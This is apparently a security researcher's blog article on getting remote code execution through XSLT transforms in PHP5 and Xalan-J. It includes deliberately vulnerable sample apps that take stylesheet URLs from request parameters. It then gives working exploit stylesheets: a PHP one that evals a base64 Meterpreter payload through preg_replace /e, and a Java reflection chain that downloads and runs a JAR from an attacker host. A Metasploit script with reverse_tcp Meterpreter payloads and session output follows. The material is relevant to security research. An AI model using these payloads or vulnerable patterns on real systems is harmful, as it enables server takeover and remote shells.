This article will describe how to execute high-level code during the processing of a XSL transform, with the goal of obtaining some Meterpreter shells. It applies to any XSLT engine capable of executing high-level code, even if the published code focus on PHP5 (in a non default configuration) and Xalan-J.

Two minimalist applications processing arbitrary XML documents and XSLT stylesheets are used as the targets. Functionally, these applications are minimalist online readers for ATOM feeds. They were used during my HackInTheBox and HackInParis talks and are now publically available.

The PHP code:

  1 <?php
  3 // Page header
  4 echo "<html><head>\n";
  5 echo "<title>ATOM reader (PHP + XSLT)</title>\n";
  6 echo "<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'/>\n";
  7 echo "<head><body>\n";
  8 echo "This ATOM reader is coded in PHP5+XSLT, using libxslt.<br/>\n";
 10 // Get parameters
 11 $url = $_GET['url'];
 12 $xsl = $_GET['xsl'];
 14 // Load ATOM file
 15 $xmldoc = new DOMDocument();
 16 $xmldoc->load( $url );
 18 // Load XSLT file
 19 $xsldoc = new DOMDocument();
 20 $xsldoc->load( $xsl );
 22 // Register PHP functions as XSLT extensions
 23 $xslt = new XSLTProcessor();
 24 $xslt->registerPhpFunctions();
 26 // Import the stylesheet
 27 $xslt->importStylesheet( $xsldoc );
 29 // Transform and print
 30 print $xslt->transformToXML( $xmldoc );
 32 ?>

You may notice on line 24 a call to XSLTProcessor::registerPhpFunctions(). This is the non default setting that we will exploit. From the documentation: "PHP 5 >= 5.0.4 / Enables the ability to use PHP functions as XSLT functions".

The Java code:

  1 <%@ page language="java" contentType="text/html" %>
  2 <%@ page import="javax.xml.transform.*"%>
  3 <%@ page import="*"%>
  4 <%
  6 // Echo some info
  7 out.print("This ATOM reader is coded in JSP+XSLT, using Tomcat and Xalan-J<br/>");
  9 // Get the parameters
 10 String xmlFile    = request.getParameter("url");
 11 String xslFile    = request.getParameter("xsl");
 13 // Create a XSLT transformer
 14 TransformerFactory tFactory = TransformerFactory.newInstance();
 16 // Configure the XSLT stylesheet
 17 Transformer transformer = tFactory.newTransformer(new StreamSource(xslFile));
 19 // Transform the XML file
 20 transformer.transform(new StreamSource(xmlFile), new StreamResult(out));
 21 %>

In both applications, the "xml" parameter contains the URL of a ATOM feed (for example The "xsl" parameter contains the URL of the XSL style sheet we want to apply to the XML document.

The following one displays some basic information about the feed and its entries:

  1 <xsl:stylesheet version="1.0"
  2   xmlns:atom=""
  3   xmlns:xsl="">
  5     <!-- The "feed" tag -->
  6     <xsl:template match="/atom:feed">
  7         <h1><xsl:value-of select="atom:title"/><br/></h1>
  8         <xsl:apply-templates select="atom:entry"/>
  9     </xsl:template>
 11     <!-- The "entry" tags -->
 12     <xsl:template match="atom:entry">
 13         <hr/>Entry #<xsl:value-of select="position()"/>
 14         [<xsl:value-of select="string-length(atom:title)"/>] :
 15         <pre><xsl:value-of select="atom:title"/></pre>
 16     </xsl:template>
 18 </xsl:stylesheet>

Here's a screenshot of the output (using the US-CERT feed):

OK, everything is now in order. Let's try to execute some more interesting XSLT code, for example in order to identify the underlying XSLT engine:

  1 <xsl:stylesheet version="1.0" xmlns:xsl="">
  2         <xsl:output method="html"/>
  3         <xsl:template match="/">
  4                 <h2>Detecting the underlying XSLT engine ...</h2>
  5                 <b>Version:</b> <xsl:value-of select="system-property('xsl:version')" /><br/>
  6                 <b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
  7                 <b>Vendor URL:</b> <xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
  8         </xsl:template>
  9 </xsl:stylesheet>

The output under PHP5:

The output under Tomcat+Xalan-J:

Now, some basic high-level code displaying the current date. For this, we need to use the right namespace. For PHP, it's "" and for Xalan-J, it's "*".


  1 <xsl:stylesheet xmlns:xsl="" xmlns:abc="" version="1.0">
  2         <xsl:template match="/">
  3                 <xsl:text>Current date: </xsl:text><xsl:value-of select="abc:function('date', 'F j, Y')"/>
  4         </xsl:template>
  5 </xsl:stylesheet>

In Java:

  1 <xsl:stylesheet xmlns:xsl="" xmlns:date="" version="1.0">
  2         <xsl:template match="/">
  3                 <xsl:variable name="dateObject" select="date:new()"/>
  4                 <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
  5         </xsl:template>
  6 </xsl:stylesheet>

In order to execute arbitrary PHP code, we can try to use eval(), include() or require(). But they aren't PHP functions but constructs. Luckily, both preg_replace() and assert() are PHP functions and can be used to execute arbitrary PHP code. We now have everything needed to execute a PHP Meterpreter :-)

  1 <xsl:stylesheet xmlns:xsl="" xmlns:php="" version="1.0">
  2         <xsl:template match="/">
  3                 <xsl:variable name="eval">
  4                         eval(base64_decode('Base64-encoded Meterpreter code'))
  5                 </xsl:variable>
  6                 <xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
  7         </xsl:template>
  8 </xsl:stylesheet>

We are done regarding PHP!

We'll now look to Java, where it is much more complex to go from printing the current date to executing arbitrary classes. In fact, we'll need to use reflection in order to access enough interesting Java features to download a remote Meterpreter JAR file. There's three ways to use reflection. 1) Create your own Java code accessing the key Java features (and keep this code portable across versions). That's too hard for me! 2) Use Javapayload to dynamically construct the Java code. The problem is that Metasploit doesn't include a very recent version of Javapayload. But that's fine if you're doing everything by hand 3) Use a well tested and static Java template having all the needed features and re-use it.

In the current scenario, we'll take the third option (thanks @mihi42) in order to integrate nicely with Metasploit. The result XSL style sheet is complex, but works perfectly:

  1 <xsl:stylesheet version="1.0" xmlns:xsl="" xmlns:j="" exclude-result-prefixes="j"&    gt;
  2 <xsl:template match="/">
  3 <xsl:variable name="url">http://attacker/eviljava/wkaLrNQj.jar</xsl:variable>
  4 <xsl:variable name="arrays">rO0ABXVyAA9bTGphdmEubmV0LlVSTDtSUf0kxRtozQIAAHhwAAAAAXB1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAAA</xsl:va    riable>
  5 <xsl:variable name="ois" select=",$arr    ays)))" />
  6 <xsl:variable name="n" select="j:get(,'')"/>
  7 <xsl:variable name="c1" select="j:getInterfaces(j:java.lang.Class.forName('java.lang.Number'))"/>
  8 <xsl:variable name="c2" select="j:getInterfaces(j:java.lang.Class.forName(''))"/>
  9 <xsl:variable name="l" select=""/>
 10 <xsl:variable name="urlarray" select="j:readObject($ois)"/>
 11 <xsl:value-of select="j:java.lang.reflect.Array.set($urlarray,0,$url))"/>
 12 <xsl:value-of select="substring(j:add($l,$urlarray),5)"/>
 13 <xsl:value-of select="j:java.lang.reflect.Array.set($c1,0,j:java.lang.Class.forName('[;'))"/>
 14 <xsl:variable name="r" select="j:newInstance(j:getConstructor(j:java.lang.Class.forName(''),$c1),j:toArray($l))"/>
 15 <xsl:value-of select="j:clear($l)"/>
 16 <xsl:value-of select="substring(j:add($l,'metasploit.Payload'),5)"/>
 17 <xsl:value-of select="j:java.lang.reflect.Array.set($c1,0,j:java.lang.Class.forName('java.lang.String'))"/>
 18 <xsl:variable name="z" select="j:invoke(j:getMethod(j:java.lang.Class.forName('java.lang.ClassLoader'),'loadClass',$c1),$r,j:toArray($l))"/>
 19 <xsl:value-of select="j:java.lang.reflect.Array.set($c1,0,j:java.lang.Class.forName('[Ljava.lang.String;'))"/>
 20 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,0,j:java.lang.Class.forName('java.lang.String'))"/>
 21 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,1,j:java.lang.Class.forName('[Ljava.lang.Class;'))"/>
 22 <xsl:value-of select="j:clear($l)"/>
 23 <xsl:value-of select="substring(j:add($l,'main'),5)"/>
 24 <xsl:value-of select="substring(j:add($l,$c1),5)"/>
 25 <xsl:variable name="v" select="j:invoke(j:getMethod(j:java.lang.Class.forName('java.lang.Class'),'getMethod',$c2),$z,j:toArray($l))"/>
 26 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,0,j:java.lang.Class.forName('java.lang.Object'))"/>
 27 <xsl:value-of select="j:java.lang.reflect.Array.set($c2,1,j:java.lang.Class.forName('[Ljava.lang.Object;'))"/>
 28 <xsl:value-of select="j:clear($l)"/>
 29 <xsl:value-of select="substring(j:add($l,j:readObject($ois)),5)"/>
 30 <xsl:value-of select="j:close($ois)" />
 31 <xsl:value-of select="substring(j:set($l,0,j:toArray($l)),1,0)"/>
 32 <xsl:value-of select="j:add($l,0,$n)"/>
 33 <xsl:value-of select="j:invoke(j:getMethod(j:java.lang.Class.forName('java.lang.reflect.Method'),'invoke',$c2),$v,j:toArray($l))"/>
 34 <result>Test Complete!</result>
 35 </xsl:template>
 36 </xsl:stylesheet>

If we put all this logic in a dedicated Metasploit module, we end up with "generic_xslt_payloads.rb". This module is not available in trunk for the moment but you can download it from ticket #6784. Copy it to "modules/exploits/multi/misc/" and configure it using the following rc script:

# Load the module
use exploit/multi/misc/generic_xslt_payloads

# Configure and start the PHP version
set TARGET 0
set URIPATH evilphp.xsl
set PAYLOAD php/meterpreter/reverse_tcp
set SRVPORT 5001
set LPORT 4001
exploit -j

# Configure and start the Java version
set TARGET 1
set URIPATH eviljava
set PAYLOAD java/meterpreter/reverse_tcp
set SRVPORT 5002
set LPORT 4002
exploit -j

You should get two jobs running:

msf  exploit(generic_xslt_payloads) > jobs -l -v


  Id  Name                                       Payload                       LPORT  URIPATH       Start Time
  --  ----                                       -------                       -----  -------       ----------
  0   Exploit: multi/misc/generic_xslt_payloads  php/meterpreter/reverse_tcp   4001   /evilphp.xsl  Mon Jul 02 18:45:39 +0200 2012
  1   Exploit: multi/misc/generic_xslt_payloads  java/meterpreter/reverse_tcp  4002   /eviljava     Mon Jul 02 18:45:39 +0200 2012

Then provide the link to the corresponding XSLT code to the vulnerable applications, and voilà !

msf  exploit(generic_xslt_payloads) > sessions -l

Active sessions

  Id  Type                   Information              Connection
  --  ----                   -----------              ----------
  1   meterpreter java/java  SYSTEM @ box08  -> (
  2   meterpreter php/php    www-data (33) @ box13 -> (

0wn3d !

It should be noted that 1) porting the Java version from Xalan-J to Saxon should be trivial 2) some client-side softwares like XMLSpy allow to execute Java code from XSLT. The Metasploit module was demonstrated during the HackInTheBox conference in Amsterdam, and the video is available on Youtube (this demo starts at minute 48).